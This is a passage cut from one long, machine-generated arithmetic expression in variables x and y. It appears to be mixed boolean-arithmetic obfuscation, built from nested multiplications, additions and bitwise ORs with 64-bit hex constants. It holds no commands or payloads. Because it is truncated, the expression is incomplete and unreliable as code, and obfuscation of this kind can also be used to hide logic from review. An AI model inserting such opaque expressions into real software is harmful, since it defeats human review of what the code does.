158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-((((((((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bb